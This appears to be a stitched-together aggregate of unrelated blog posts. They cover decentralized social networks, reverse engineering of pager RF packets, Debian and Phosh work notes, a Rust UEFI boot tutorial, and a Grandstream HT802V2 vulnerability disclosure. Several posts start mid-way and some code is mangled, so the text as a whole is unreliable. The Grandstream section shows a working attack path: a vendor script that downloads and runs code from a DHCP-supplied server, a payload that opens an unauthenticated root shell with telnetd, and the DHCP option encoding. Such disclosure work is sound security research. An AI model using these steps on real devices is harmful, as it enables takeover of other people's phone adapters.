Popularity: Already established, but will it grow more? Mastodon has seen steady growth, especially after Twitter s acquisition in 2022, with some estimates stating it peaked at 10 million users across thousands of instances. However, its fragmented user experience and the complexity of choosing instances have hindered mainstream adoption. Still, it remains the most established decentralized alternative to Twitter. Note that Donald Trump s Truth Social is based on the Mastodon software but does not federate with the ActivityPub network. The ActivityPub protocol is the most widely used of its kind. One of the other most popular services is the Lemmy link sharing service, similar to Reddit. The larger ecosystem of ActivityPub is called Fediverse, and estimates put the total active user count around 6 million.

2. Bluesky (AT Protocol) Interestingly, Bluesky was conceived within Twitter in 2019 by Twitter founder Jack Dorsey. After being incubated as a Twitter-funded project, it spun off as an independent Public Benefit LLC in February 2022 and launched its public beta in February 2023. Bluesky runs on top of the Authenticated Transfer (AT) Protocol published at https://github.com/bluesky-social/atproto. The protocol enables portable identities and data ownership, meaning users can migrate between platforms while keeping their identity and content intact. In practice, however, there is only one popular server at the moment, which is Bluesky itself.

• Identity: Usernames are domain-based (e.g., @user.bsky.social).
• Storage: Content is theoretically federated among various servers.
• Cost: Free to use, but relies on instance operators willing to run the servers.

Example Message in AT Protocol (JSON Format)

json Copy

"repo": "did:plc:ottoke.bsky.social", "collection": "app.bsky.feed.post", "record": "$type": "app.bsky.feed.post", "text": "Hello from Bluesky!", "createdAt": "2025-03-03T12:00:00Z", "langs": ["en"]

 
 "repo": "did:plc:ottoke.bsky.social",
 "collection": "app.bsky.feed.post",
 "record":  
 "$type": "app.bsky.feed.post",
 "text": "Hello from Bluesky!",
 "createdAt": "2025-03-03T12:00:00Z",
 "langs": ["en"]
  
 

Popularity: Hybrid approach may have business benefits? Bluesky reported over 3 million users by 2024, probably getting traction due to its Twitter-like interface and Jack Dorsey s involvement. Its hybrid approach decentralized identity with centralized components could make it a strong candidate for mainstream adoption, assuming it can scale effectively.

3. Warpcast (Farcaster Network) Farcaster was launched in 2021 by Dan Romero and Varun Srinivasan, both former crypto exchange Coinbase executives, to create a decentralized but user-friendly social network. Built on the Ethereum blockchain, it could potentially offer a very attack-resistant communication medium. However, in my own testing, Farcaster does not seem to fully leverage what Ethereum could offer. First of all, there is no diversity in programs implementing the protocol as at the moment there is only Warpcast. In Warpcast the signup requires an initial 5 USD fee that is not payable in ETH, and users need to create a new wallet address on the Ethereum layer 2 network Base instead of simply reusing their existing Ethereum wallet address or ENS name. Despite this, I can understand why Farcaster may have decided to start out like this. Having a single client program may be the best strategy initially. One of the decentralized chat protocol Matrix founders, Matthew Hodgson, shared in his FOSDEM 2025 talk that he slightly regrets focusing too much on developing the protocol instead of making sure the app to use it is attractive to end users. So it may be sensible to ensure Warpcast gets popular first, before attempting to make the Farcaster protocol widely used. As a protocol Farcaster s hybrid approach makes it more scalable than fully on-chain networks, giving it a higher chance of mainstream adoption if it integrates seamlessly with broader Web3 ecosystems.

• Identity: ENS (Ethereum Name Service) domains are used as usernames.
• Storage: Messages are stored in off-chain hubs, while identity is on-chain.
• Cost: Users must pay gas fees for some operations but reading and posting messages is mostly free.

Example Message in Farcaster (JSON Format)

json Copy

"fid": 766579, "username": "ottok", "custodyAddress": "0x127853e48be3870172baa4215d63b6d815d18f21", "connectedWallet": "0x3ebe43aa3ae5b891ca1577d9c49563c0cee8da88", "text": "Hello from Farcaster!", "publishedAt": 1709424000, "replyTo": null, "embeds": []

 
 "fid": 766579,
 "username": "ottok",
 "custodyAddress": "0x127853e48be3870172baa4215d63b6d815d18f21",
 "connectedWallet": "0x3ebe43aa3ae5b891ca1577d9c49563c0cee8da88",
 "text": "Hello from Farcaster!",
 "publishedAt": 1709424000,
 "replyTo": null,
 "embeds": []
 

Popularity: Decentralized social media + decentralized payments a winning combo? Ethereum founder Vitalik Buterin (warpcast.com/vbuterin) and many core developers are active on the platform. Warpcast, the main client for Farcaster, has seen increasing adoption, especially among Ethereum developers and Web3 enthusiasts. I too have an profile at warpcast.com/ottok. However, the numbers are still very low and far from reaching network effects to really take off. Blockchain-based social media networks, particularly those built on Ethereum, are compelling because they leverage existing user wallets and persistent identities while enabling native payment functionality. When combined with decentralized content funding through micropayments, these blockchain-backed social networks could offer unique advantages that centralized platforms may find difficult to replicate, being decentralized both as a technical network and in a funding mechanism.

4. Hey.xyz (Lens Network) The Lens Protocol was developed by decentralized finance (DeFi) team Aave and launched in May 2022 to provide a user-owned social media network. While initially built on Polygon, it has since launched its own Layer 2 network called the Lens Network in February 2024. Lens is currently the main competitor to Farcaster. Lens stores profile ownership and references on-chain, while content is stored on IPFS/Arweave, enabling composability with DeFi and NFTs.

• Identity: Profile ownership is tied to NFTs on the Polygon blockchain.
• Storage: Content is on-chain and integrates with IPFS/Arweave (like NFTs).
• Cost: Users must pay gas fees for some operations but reading and posting messages is mostly free.

Example Message in Lens (JSON Format)

json Copy

"profileId": "@ottok", "contentURI": "ar://QmExampleHash", "collectModule": "0x23b9467334bEb345aAa6fd1545538F3d54436e96", "referenceModule": "0x0000000000000000000000000000000000000000", "timestamp": 1709558400

 
 "profileId": "@ottok",
 "contentURI": "ar://QmExampleHash",
 "collectModule": "0x23b9467334bEb345aAa6fd1545538F3d54436e96",
 "referenceModule": "0x0000000000000000000000000000000000000000",
 "timestamp": 1709558400
 

Popularity: Probably not as social media site, but maybe as protocol? The social media side of Lens is mainly the Hey.xyz website, which seems to have fewer users than Warpcast, and is even further away from reaching critical mass for network effects. The Lens protocol however has a lot of advanced features and it may gain adoption as the building block for many Web3 apps.

5. Primal.net (Nostr Network) Nostr (Notes and Other Stuff Transmitted by Relays) was conceptualized in 2020 by an anonymous developer known as fiatjaf. One of the primary design tenets was to be a censorship-resistant protocol and it is popular among Bitcoin enthusiasts, with Jack Dorsey being one of the public supporters. Unlike the Farcaster and Lens protocols, Nostr is not blockchain-based but just a network of relay servers for message distribution. If does however use public key cryptography for identities, similar to how wallets work in crypto.

• Identity: Public-private key pairs define identity (with prefix npub...).
• Storage: Content is federated among multiple servers, which in Nostr vocabulary are called relays.
• Cost: No gas fees, but relies on relay operators willing to run the servers.

Example Message in Nostr (JSON Format)

json Copy

"id": "note1xyz...", "pubkey": "npub1...", "kind": 1, "content": "Hello from Nostr!", "created_at": 1709558400, "tags": [], "sig": "sig1..."

 
 "id": "note1xyz...",
 "pubkey": "npub1...",
 "kind": 1,
 "content": "Hello from Nostr!",
 "created_at": 1709558400,
 "tags": [],
 "sig": "sig1..."
 

Popularity: If Jack Dorsey and Bitcoiners promote it enough? Primal.net as a web app is pretty solid, but it does not stand out much. While Jack Dorsey has shown support by donating $1.5 million to the protocol development in December 2021, its success likely depends on broader adoption by the Bitcoin community.

Will any of these replace X/Twitter? As usage patterns vary, the statistics are not fully comparable, but this overview of the situation in March 2025 gives a decent overview.

Platform	Total Accounts	Active Users	Growth Trend
Mastodon	~10 million	~1 million	Steady
Bluesky	~33 million	~1 million	Steady
Nostr	~41 million	~20 thousand	Steady
Farcaster	~850 thousand	~50 thousand	Flat
Lens	~140 thousand	~20 thousand	Flat

Mastodon and Bluesky have already reached millions of users, while Lens and Farcaster are growing within crypto communities. It is however clear that none of these are anywhere close to how popular X/Twitter is. In particular, Mastodon had a huge influx of users in the fall of 2022 when Twitter was acquired, but to challenge the incumbents the growth would need to significantly accelerate. We can all accelerate this development by embracing decentralized social media now alongside existing dominant platforms. Who knows, given the right circumstances maybe X.com leadership decides to change the operating model and start federating contents to break out from a walled garden model. The likelyhood of such development would increase if decentralized networks get popular, and the encumbents feel they need to participate to not lose out.

Past and future The idea of decentralized social media is not new. One early pioneer identi.ca launched in 2008, only two years after Twitter, using the OStatus protocol to promote decentralization. A few years later it evolved into pump.io with the ActivityPump protocol, and also forked into GNU Social that continued with OStatus. I remember when these happened, and that in 2010 also Diaspora launched with fairly large publicity. Surprisingly both of these still operate (I can still post both on identi.ca and diasp.org), but the activity fizzled out years ago. The protocol however survived partially and evolved into ActivityPub, which is now the backbone of the Fediverse. The evolution of decentralized social media over the next decade will likely parallel developments in democracy, freedom of speech and public discourse. While the early 2010s emphasized maximum independence and freedom, the late 2010s saw growing support for content moderation to combat misinformation. The AI era introduces new challenges, potentially requiring proof-of-humanity verification for content authenticity. Key factors that will determine success:

• User experience and ease of onboarding
• Network effects and critical mass of users
• Integration with existing web3 infrastructure
• Balance between decentralization and usability
• Sustainable economic models for infrastructure

This is clearly an area of development worth monitoring closely, as the next few years may determine which protocol becomes the de facto standard for decentralized social communication.

By Hand Demodulation Going off the same premise as last time, I figured i d give it a manual demod and see what shakes out (again). This is now the third time i ve run this play, so check out either of my prior two posts for a better written description of what s going on here I ll skip all the details since i d just be copy-pasting from those posts into here. Long story short, I demodulated a call for pager 1, call for pager 10, and a power off command.

What	Bits
Call 1	1101111111100100100000000
Call 10	1101111111100100010100000
Off	1101111111100111101101110

A few things jump out at me here the first 14 bits are fixed (in my case, 11011111111001), which means some mix of preamble, system id, or other system-wide constant. Additionally, The last 9 bits also look like they are our pager the 1 and 10 pager numbers (LSB bit order) jump right out (100000000 and 010100000, respectively). That just leaves the two remaining bits which look to be the action 00 for a Call , and 11 for a Power off . I don t super love this since command has two bits rather than one, the base station ID seems really long, and a 9-bit Pager ID is just weird. Also, what is up with that power-off pager id? Weird. So, let s go and see what we can do to narrow down and confirm things by hand.

Testing bit flips Rather than call it a day at that, I figure it s worth a bit of diligence to make sure it s all correct so I figured we should try sending packets to my pagers and see how they react to different messages after flipping bits in parts of the packet. I implemented a simple base station for the pagers using my Ettus B210mini, and threw together a simple OOK modulator and transmitter program which allows me to send specifically crafted test packets on frequency. Implementing the base station is pretty straightforward, because of the modulation of the signal (OOK), it s mostly a matter of setting a buffer to 1 and 0 for where the carrier signal is on or off timed to the sample rate, and sending that off to the radio. If you re interested in a more detailed writeup on the steps involved, there s a bit more in my christmas tree post. First off, I d like to check the base id. I want to know if all the bits in what I m calling the base id are truly part of the base station ID, or perhaps they have some other purpose (version, preamble?). I wound up following a three-step process for every base station id:

• Starting with an unmodified call packet for the pager under test:
  • Flip the Nth bit, and transmit the call. See if the pager reacts.
  • Hold SET , and pair the pager with the new packet.
  • Transmit the call. See if the pager reacts.
  • After re-setting the ID, transmit the call with the physical base station, see if the pager reacts.
• Starting with an unmodified off packet for the pager system
• Flip the Nth bit, transmit the off, see if the pager reacts.

What wound up happening is that changing any bit in the first 14 bits meant that the packet no longer worked with any pager until it was re-paired, at which point it begun to work again. This likely means the first 14 bits are part of the base station ID and not static between base stations, or some constant like a version or something. All bits appear to be used. I repeated the same process with the command bits, and found that only 11 and 00 caused the pagers to react for the pager ids i ve tried. I repeated this process one last time with the pager id bits this time, and found the last bit in the packet isn t part of the pager ID, and can be either a 1 or a 0 and still cause the pager to react as if it were a 0. This means that the last bit is unknown but it has no impact on either a power off or call, and all messages sent by my base station always have a 0 set. It s not clear if this is used by anything likely not since setting a bit there doesn t result in any change of behavior I can see yet.

Final Packet Structure After playing around with flipping bits and testing, the final structure I was able to come up with based on behavior I was able to observe from transmitting hand-crafted packets and watching pagers buzz:

base id

command

pager id

???

Commands The command section bit comes in two flavors either a call or an off command.

Type	Id (2 bits)	Description
Call	00	Call the pager identified by the id in pager id
Off	11	Request pagers power off, pager id is always 10110111

As for the actual RF PHY characteristics, here s my best guesses at what s going on with them:

What	Description
Center Frequency	433.92 MHz
Modulation	OOK
Symbol Duration	1300us
Bits	25
Preamble	325us of carrier, followed by 8800us of no carrier

I m not 100% on the timings, but they appear to be close enough to work reliabily. Same with the center frequency, it s roughly right but there may be a slight difference i m missing.

Lingering Questions This was all generally pretty understandable another system that had some good decisions, and wasn t too bad to reverse engineer. This was a bit more fun to do, since there was a bit more ambiguity here, but still not crazy. At least this one was a bit more ambiguous that needed a bit of followup to confirm things, which made it a bit more fun. I am left with a few questions, though which I m kinda interested in understanding, but I ll likely need a lot more data and/or original source: Why is the command two bits here? This was a bit tough to understand because of the number of bits they have at their disposal given the one last bit at the end of the packet that doesn t seem to do anything, there s no reason this couldn t have been a 16 bit base station id, and an 8 bit pager id along with a single bit command (call or off). When sending an off why is power off that bit pattern? Other pager IDs don t seem to work with off , so it has some meaning, but I m not sure what that is. You press and hold 9 on the physical base station, but the code winds up coming out to 0xED, 237 or maybe -19 if it s signed. I can t quite figure out why it s this value. Are there other codes? Finally what s up with the last bit? Why is it 25 bits and not 24? It must take more work to process something that isn t 8 bit aligned and all for something that s not being used!

"My read on the FTP masters is:

• In truth, they are the heart of the project.
• They know it.
• They do a fantastic job."

• Fixed more than one package per day, typically addressing multiple bugs.
• Added and corrected numerous Homepage fields and watch files.
• The most frequently patched issue was "Fails To Cross-Build From Source" (all including patches).
• Migrated several packages from cdbs/debhelper to dh.
• Rewrote many d/copyright files to DEP5 format and thoroughly reviewed them.
• Integrated all affected packages into Salsa and enabled Salsa CI.
• Approximately half of the packages were moved to appropriate teams, while the rest are maintained within the Debian or Salvage teams.
• Regularly performed team uploads, ITS, NMUs, or QA uploads.
• Filed several RoQA bugs to propose package removals where appropriate.
• Reported multiple maintainers to the MIA team when necessary.

1. FOSSASIA Summit 2025 (March 13-15, Bangkok, Thailand) Schedule: https://eventyay.com/e/4c0e0c27/schedule
2. Chemnitzer Linux-Tage (March 22-23, Chemnitz, Germany) Schedule: https://chemnitzer.linux-tage.de/2025/de/programm/vortraege

• Release 0.45~beta1, 0.45~rc1, 0.45.0
• Don't hide player when track is stopped (MR) - helps with e.g. Shortwave
• Fetch cover art via http (MR)
• Update CI images (MR)
• Robustify symbol file generation (MR)
• Handle cutouts in the indicators area (MR)
• Reduce flicker when opening overview (MR)
• Select less noisy default background (MR)

• Release 0.45~beta1, 0.45~rc1, 0.45.0
• Add support for ext-foreign-toplevel-v1 (MR)
• Keep wlroots-0.19.x in shape and add support for ext-image-copy-capture-v1 (MR)
• Fix geometry with scale when rendering to a buffer (MR)
• Allow to tweak log domains at runtime (MR)
• Print more useful information on startup (MR)
• Provide PID of toplevel for phosh (MR)
• Improve detection for hardware keyboards (MR) (mostly to help bananui)
• Make tests a bit more flexible (MR)
• Use wlr_damage_ring_rotate_buffer (MR). Another prep for 0.19.x.
• Support wp-alpha-modifier-v1 protocol (MR)

• Release 0.45~rc1, 0.45.0

• Release 0.45~rc1, 0.45.0
• Maintenance (MR, MR)

• Release 0.45~rc1, 0.45.0

• Add common checks and check meson files (MR)

• Update for libphosh 0.45
• Release 0.0.6

• Add common dot files and job to check meson formatting (MR)
• Add l10n modules to string freeze announcement (based on suggestion by Alexandre Franke) (MR)
• Bring over mk-gitlab-rel and improve it for alpha, beta, RCs (MR)

• Release 0.3.0

• Upload phoc 0.45~beta1, 0.45~rc1, 0.45.0
• Upload phosh 0.45~beta1, 0.45~rc1, 0.45.0
• Uplaod feedbackd 0.7.0
• Upload xdg-desktop-portal-phosh 0.45.0
• Upload phosh-tour 0.45~rc1, 0.45.0
• Upload phosh-osk-stub 0.45~rc1, 0.45.0
• Upload phosh-mobile-settings 0.45~rc1, 0.45.0
• phosh: Fix dependencies of library dev package (MR) (and add a test)
• Update libphosh-rs to 0.0.6 (MR)
• Update iio-sensor-proxy to 3.6 (MR)
• Backport qbootctl RDONLY patch (MR) to make generating the boot image more robust
• libssc: Update to 0.2.1 (MR)
• dom-tools: Write errors to stderr (MR)
• dom-tools: Use underscored version to drop the branch ~ (MR)
• libmbim: Upload 1.31.6 to experimental (MR)
• ModemManager: Upload 1.23.12 to experimental (MR)

• data: Add display-panel for Furilabs FLX1 (MR)

• Release 0.7.0)

• Allow to force screen capture protocol (MR)

• Address multiple rounds of review comments in the xdg-occlusion (now xdg-cutouts) protocol (MR)

• Set prefs parent (MR)

• Backport touch up fix to 0.18 (MR)

• Don't recreate all partitions on read operations (MR)

• Check for keyboard caps before using them (Patch, issue)

• Allow for python3 as interpreter as well (MR)
• Don't leak unprefixed symbols into ABI (MR)
• Improve info on test failures (MR)
• Support mutiarch when loading libqrtr (MR)

• Cell Broadcast: Allow to set channel list via API (MR)

• Add Phosh's protocols (MR)

• Support haptic feedback on Linux in Firefox (Bug)
• Get pmOS to boot again on Nokia 2780 (Bug)

• Debian: qcom-phone-utils rework (MR)
• Simplify ui files (MR) - partially merged
• calls: Implement ussd interface for ofono (MR)
• chatty: Build docs using gi-docgen (MR)
• chatty: Search related improvements (MR)
• chatty: Fix crash on stuck SMS removal (MR)
• feedbackd: stop flash when "prefer flash" is disabled (MR) - merged
• gmobile: Support for nothingphone notch (MR)
• iio-sensor-proxy: polkit for compass (MR) - merged
• libcmatrix: Improved error code (MR) - merged
• libcmatrix: Load room members is current (MR) - merged
• libcmatrix: Start 0.0.4 cycle (MR) - merged
• libhosh-rs: Update to 0.45~rc1 (MR) - merged
• libphosh-rs: Update to reduced API surface (MR) - merged
• phoc: Use color-rect for shields: (MR) - merged
• phoc: unresponsive toplevel state (MR)
• phoc: view: Don't multiply by scale in get_geometry_default (MR)
• phoc: render: Fix subsurface scaling when rendering to buffer (MR)
• phoc: render: Avoid rendering textures with alpha set to zero (MR)
• phoc: Render a spinner on output shield (MR)
• phosh: Manage libpohsh API version separately (MR) - merged
• phosh: Prepare container APIs for GTK4 (MR)
• phosh: Reduce API surface further (MR) - merged
• phosh: Simplify UI files for GTK4 migration (MR) - merged
• phosh: Simplify gvc-channel bar (MR) - merged
• phosh: Simplify parent lookup (MR) - merged
• phosh: Split out private header for LF (MR) - merged
• phosh: Use symbols file for libphosh (MR) - merged
• phosh: stylesheet: Improve legibility of app grid and top bar (MR)
• several mobile-broadband-provider-info updates under (MR) - mostly merged

uefi =   version = "0.33", features = ["panic_handler", "alloc", "global_allocator"]  

[toolchain]
targets = ["aarch64-unknown-uefi", "x86_64-unknown-uefi"]

$ convert -resize 1280x900 kier.jpg kier.full.jpg
$ convert -depth 8 kier.full.jpg rgba:kier.bin

const KIER: &[u8] = include_bytes!("../kier.bin");
const KIER_WIDTH: usize = 1280;
const KIER_HEIGHT: usize = 641;
const KIER_PIXEL_SIZE: usize = 4;

/// RGB Image to move around. This isn't the same as an
///  image::RgbImage , but we can associate the size of
/// the image along with the flat buffer of pixels.
struct RgbImage  
/// Size of the image as a tuple, as the
 /// (width, height)
 size: (usize, usize),
/// raw pixels we'll send to the display.
 inner: Vec<BltPixel>,
 
impl RgbImage  
/// Create a new  RgbImage .
 fn new(width: usize, height: usize) -> Self  
RgbImage  
size: (width, height),
inner: vec![BltPixel::new(0, 0, 0); width * height],
 
 
/// Take our pixels and request that the UEFI GOP
 /// display them for us.
 fn write(&self, gop: &mut GraphicsOutput) -> Result  
gop.blt(BltOp::BufferToVideo  
buffer: &self.inner,
src: BltRegion::Full,
dest: (0, 0),
dims: self.size,
 )
 
 
impl Index<(usize, usize)> for RgbImage  
type Output = BltPixel;
fn index(&self, idx: (usize, usize)) -> &BltPixel  
let (x, y) = idx;
&self.inner[y * self.size.0 + x]
 
 
impl IndexMut<(usize, usize)> for RgbImage  
fn index_mut(&mut self, idx: (usize, usize)) -> &mut BltPixel  
let (x, y) = idx;
&mut self.inner[y * self.size.0 + x]
 
 

fn praise() -> Result  
let gop_handle = boot::get_handle_for_protocol::<GraphicsOutput>()?;
let mut gop = boot::open_protocol_exclusive::<GraphicsOutput>(gop_handle)?;
// Get the (width, height) that is the minimum of
 // our image and the display we're using.
 let (width, height) = gop.current_mode_info().resolution();
let (width, height) = (width.min(KIER_WIDTH), height.min(KIER_HEIGHT));
let mut buffer = RgbImage::new(width, height);
for y in 0..height  
for x in 0..width  
let idx_r = ((y * KIER_WIDTH) + x) * KIER_PIXEL_SIZE;
let pixel = &mut buffer[(x, y)];
pixel.red = KIER[idx_r];
pixel.green = KIER[idx_r + 1];
pixel.blue = KIER[idx_r + 2];
 
 
buffer.write(&mut gop)?;
Ok(())
 

#[entry]
fn main() -> Status  
uefi::helpers::init().unwrap();
praise().unwrap();
boot::stall(100_000_000);
Status::SUCCESS
 

$ cargo build --release --target x86_64-unknown-uefi

Testing the UEFI Blob While I can definitely get my machine to boot these blobs to test, I figured I d save myself some time by using QEMU to test without a full boot. If you ve not done this sort of thing before, we ll need two packages, qemu and ovmf. It s a bit different than most invocations of qemu you may see out there so I figured it d be worth writing this down, too.

$ doas apt install qemu-system-x86 ovmf

qemu has a nice feature where it ll create us an EFI partition as a drive and attach it to the VM off a local directory so let s construct an EFI partition file structure, and drop our binary into the conventional location. If you haven t done this before, and are only interested in running this in a VM, don t worry too much about it, a lot of it is convention and this layout should work for you.

$ mkdir -p esp/efi/boot
$ cp target/x86_64-unknown-uefi/release/*.efi \
 esp/efi/boot/bootx64.efi

With all this in place, we can kick off qemu, booting it in UEFI mode using the ovmf firmware, attaching our EFI partition directory as a drive to our VM to boot off of.

$ qemu-system-x86_64 \
 -enable-kvm \
 -m 2048 \
 -smbios type=0,uefi=on \
 -bios /usr/share/ovmf/OVMF.fd \
 -drive format=raw,file=fat:rw:esp

If all goes well, soon you ll be met with the all knowing gaze of Chosen One, Kier Eagan. The thing that really impressed me about all this is this program worked first try it all went so boringly normal. Truly, kudos to the uefi crate maintainers, it s incredibly well done.

Booting a live system Sure, we could stop here, but anyone can open up an app window and see a picture of Kier Eagan, so I knew I needed to finish the job and boot a real machine up with this. In order to do that, we need to format a USB stick. BE SURE /dev/sda IS CORRECT IF YOU RE COPY AND PASTING. All my drives are NVMe, so BE CAREFUL if you use SATA, it may very well be your hard drive! Please do not destroy your computer over this.

$ doas fdisk /dev/sda
Welcome to fdisk (util-linux 2.40.4).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Command (m for help): n
Partition type
p primary (0 primary, 0 extended, 4 free)
e extended (container for logical partitions)
Select (default p): p
Partition number (1-4, default 1):
First sector (2048-4014079, default 2048):
Last sector, +/-sectors or +/-size K,M,G,T,P  (2048-4014079, default 4014079):
Created a new partition 1 of type 'Linux' and of size 1.9 GiB.
Command (m for help): t
Selected partition 1
Hex code or alias (type L to list all): ef
Changed type of partition 'Linux' to 'EFI (FAT-12/16/32)'.
Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.

Once that looks good (depending on your flavor of udev you may or may not need to unplug and replug your USB stick), we can go ahead and format our new EFI partition (BE CAREFUL THAT /dev/sda IS YOUR USB STICK) and write our EFI directory to it.

$ doas mkfs.fat /dev/sda1
$ doas mount /dev/sda1 /mnt
$ cp -r esp/efi /mnt
$ find /mnt
/mnt
/mnt/efi
/mnt/efi/boot
/mnt/efi/boot/bootx64.efi

Of course, naturally, devotion to Kier shouldn t mean backdooring your system. Disabling Secure Boot runs counter to the Core Principals, such as Probity, and not doing this would surely run counter to Verve, Wit and Vision. This bit does require that you ve taken the step to enroll a MOK and know how to use it, right about now is when we can use sbsign to sign our UEFI binary we want to boot from to continue enforcing Secure Boot. The details for how this command should be run specifically is likely something you ll need to work out depending on how you ve decided to manage your MOK.

$ doas sbsign \
 --cert /path/to/mok.crt \
 --key /path/to/mok.key \
 target/x86_64-unknown-uefi/release/*.efi \
 --output esp/efi/boot/bootx64.efi

I figured I d leave a signed copy of boot2kier at /boot/efi/EFI/BOOT/KIER.efi on my Dell XPS 13, with Secure Boot enabled and enforcing, just took a matter of going into my BIOS to add the right boot option, which was no sweat. I m sure there is a way to do it using efibootmgr, but I wasn t smart enough to do that quickly. I let er rip, and it booted up and worked great! It was a bit hard to get a video of my laptop, though but lucky for me, I have a Minisforum Z83-F sitting around (which, until a few weeks ago was running the annual http server to control my christmas tree ) so I grabbed it out of the christmas bin, wired it up to a video capture card I have sitting around, and figured I d grab a video of me booting a physical device off the boot2kier USB stick.

Attentive readers will notice the image of Kier is smaller then the qemu booted system which just means our real machine has a larger GOP display resolution than qemu, which makes sense! We could write some fancy resize code (sounds annoying), center the image (can t be assed but should be the easy way out here) or resize the original image (pretty hardware specific workaround). Additionally, you can make out the image being written to the display before us (the Minisforum logo) behind Kier, which is really cool stuff. If we were real fancy we could write blank pixels to the display before blitting Kier, but, again, I don t think I care to do that much work.

But now I must away If I wanted to keep this joke going, I d likely try and find a copy of the original video when Helly 100%s her file and boot into that or maybe play a terrible midi PC speaker rendition of Kier, Chosen One, Kier after rendering the image. I, unfortunately, don t have any friends involved with production (yet?), so I reckon all that s out for now. I ll likely stop playing with this the joke was done and I m only writing this post because of how great everything was along the way. All in all, this reminds me so much of building a homebrew kernel to boot a system into but like, good, though, and it s a nice reminder of both how fun this stuff can be, and how far we ve come. UEFI protocols are light-years better than how we did it in the dark ages, and the tooling for this is SO much more mature. Booting a custom UEFI binary is miles ahead of trying to boot your own kernel, and I can t believe how good the uefi crate is specifically. Praise Kier! Kudos, to everyone involved in making this so delightful .

 
        [ -n "$vendor" ] &&  
                VENDOR_TEST_SERVER=" echo $vendor   parse_vendor   grep gs_test_server   cut -d' ' -f2 "
                if [ -n "$VENDOR_TEST_SERVER" ]; then
                        /app/bin/vendor_test_suite.sh $VENDOR_TEST_SERVER
                fi
 

#!/bin/sh
TEST_SCRIPT=vendor_test.sh
TEST_SERVER=$1
TEST_SERVER_PORT=8080
cd /tmp
wget -q -t 2 -T 5 http://$ TEST_SERVER :$ TEST_SERVER_PORT /$ TEST_SCRIPT  
if [ "$?" = "0" ]; then
    echo "Finished downloading $ TEST_SCRIPT  from http://$ TEST_SERVER :$ TEST_SERVER_PORT "
    chmod +x $ TEST_SCRIPT 
        corefile_dec $ TEST_SCRIPT 
        if [ " head -n 1 $ TEST_SCRIPT  " = "#!/bin/sh" ]; then
                echo "Starting GS Test Suite..."
                ./$ TEST_SCRIPT  http://$ TEST_SERVER :$ TEST_SERVER_PORT 
        fi
fi

#!/bin/sh
# you need exactly that shebang, yes
telnetd -l /bin/sh -p 1270 &

>>> server = "192.168.42.222"
>>> ":".join([f' y:02x ' for y in [5, len(server)] + [ord(x) for x in server]])
'05:0e:31:39:32:2e:31:36:38:2e:34:32:2e:32:32:32'

• HT802V2 running 1.0.3.5 (and any other release older than 1.0.3.10), as that's what I have tested
• Most probably also other HT8xxV2, as they use the same firmware
• Most probably also HT8xx(V1), as their /usr/share/udhcpc/default.script and /app/bin/vendor_test_suite.sh look very similar, according to firmware dumps

#!/bin/sh
TEST_SCRIPT=vendor_test.sh
TEST_SERVER=$1
TEST_SERVER_PORT=8080
VENDOR_SCRIPT="/tmp/run_vendor.sh"
cd /tmp
wget -q -t 2 -T 5 http://$ TEST_SERVER :$ TEST_SERVER_PORT /$ TEST_SCRIPT  
if [ "$?" = "0" ]; then
    echo "Finished downloading $ TEST_SCRIPT  from http://$ TEST_SERVER :$ TEST_SERVER_PORT "
    chmod +x $ TEST_SCRIPT 
    prov_image_dec --in $ TEST_SCRIPT  --out $ VENDOR_SCRIPT 
    if [ " head -n 1 $ VENDOR_SCRIPT  " = "#!/bin/sh" ]; then
        echo "Starting GS Test Suite..."
        chmod +x $ VENDOR_SCRIPT 
        $ VENDOR_SCRIPT  http://$ TEST_SERVER :$ TEST_SERVER_PORT 
    fi
fi

• 2025-01-05 Reported to Grandstream PSIRT via mail
• 2025-01-11 Pinged via form on grandstream.com
• 2025-01-13 Got a reply that they didn't get the initial submission, re-sent
• 2025-01-14 Confirmation that the re-sent submission was received
• 2025-01-21 Notification that firmware 1.0.3.10 (marked as beta) for HT802V2 was released with a fix
• 2025-02-12 1.0.3.10 is marked as "official" (aka "stable")